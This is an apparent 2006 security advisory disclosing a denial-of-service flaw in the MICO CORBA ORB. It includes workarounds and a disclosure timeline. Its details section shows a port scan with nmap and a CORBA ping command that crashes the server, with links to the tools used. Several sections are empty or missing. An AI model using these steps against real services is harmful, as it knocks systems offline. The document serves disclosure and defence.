---------------------

== 1. Affected Vendor ==
    Object Security

== 2. Affected Products ==
    MICO - Mico is CORBA, Open Source ORB
    tested on Version

        and latest from repository
    more infos: http://www.mico.org

== 3. Vulnerability ==

== 5. Disclosure Timeline ==
    2006-06-27 Problem found and analysed / tested with other versions
    2006-06-29 Vulnerability reported to vendor and MICOs
                 devel-mailing-list
    2006-07-05 2nd mail to vendor and mailing-list
    2006-07-06 Full disclosure

    None.

== 7. Patch / Workaround ==
    No Patch avaible yet.

    possible Workarounds
    a) Don't use MICO in or over public networks
    b) Protect MICO with an (IIOP) firewall

== 8. Vulnerability Details ==
    The following is for educational purposes only!

    Start the orb, you'll crash # Example code
    -> http://wwwstud.informatik.uni-rostock.de/~cb098/mico_bug.tgz
        $ ./server
    scan your target...
        $ sudo nmap -sS -oM results.nmap -p 1-65535 192.168.1.10 /
            | grep unknown
        8010/tcp  open  unknown
        49576/tcp open  unknown
        51140/tcp open  unknown

    One of these port could be the orb. Lets try to ping
    (object._non_exists()) the last one. For this I'm using a special
    handmade CORBA-Ping-Prog. It's also possible to use JacORBs pingo..
    My JPing is avaible at
        http://wwwstud.informatik.uni-rostock.de/~cb098/JPing.java
        $ java JPing -p corbaloc:: 192.168.1.10:8010//200/1151845678/0/_5
      orb.string_to_object             ... ok
      object exists? Exception caught; org.omg.CORBA.COMM_FAILURE:
      vmcid: SUN  minor code: 208 completed: Maybe

    The line above are indicating that there was something wrong. On
    every active port, you'll get COMM_FAILURE; but on the ORB-port
    OBJECT_NOT_EXIST is expected and mandatory by OMG CORBA Spec.
     (See http://www.omg.org)

    -- mico testserver crashed / output --
    A look into server terminal let us know, that there's sth. wrong.

    $ ./server
